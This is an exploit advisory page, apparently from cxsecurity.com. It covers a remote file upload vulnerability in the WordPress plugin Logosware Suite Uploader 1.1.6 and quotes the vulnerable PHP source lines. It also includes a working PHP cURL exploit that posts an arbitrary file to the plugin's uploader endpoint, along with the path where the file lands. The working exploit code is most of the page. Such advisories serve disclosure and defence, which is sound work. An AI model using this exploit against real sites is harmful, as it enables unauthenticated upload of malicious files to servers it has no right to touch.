WordPress Logosware Suite Uploader 1.1.6 File Upload

2017.08.01
Credit: Anonymous
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-264

[-] Title : WordPress Plugin Logosware Suite Uploader 1.1.6 - Remote File Upload [-] Author : Shahab Shamsi [-] Vendor : https://wordpress.org/plugins/logosware-suite-uploader/ [-] Category : Webapps [-] Date : 30.July.2017 Vulnerable Source: 176: if(is_uploaded_file($_FILES['zip']['tmp_name'])) 207: move_uploaded_file move_uploaded_file($_FILES['zip']['tmp_name'], $tempZipPath)) 206: $tempZipPath = $temporaryPath . $tempZipName; 190: $temporaryPath = $this->tempDir . $temporaryDir . "/"; 189: $temporaryDir = date("YmdHis"); 204: $tempZipName = "zipfile" . date("His") . ".zip"; Exploit: <?php $shahab="file.jpg"; $ch = curl_init("http://localhost/wordpress/wp-content/plugins/logosware-suite-uploader/lw-suite-uploader.php"); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, array('zip'=>"@$shahab")); curl_setopt($ch,CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); curl_close($ch); print "$result"; ?> Location File: http://localhost/wordpress/wp-content/plugins/logosware-suite-uploader/file.jpg


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2017, cxsecurity.com

 

Back to Top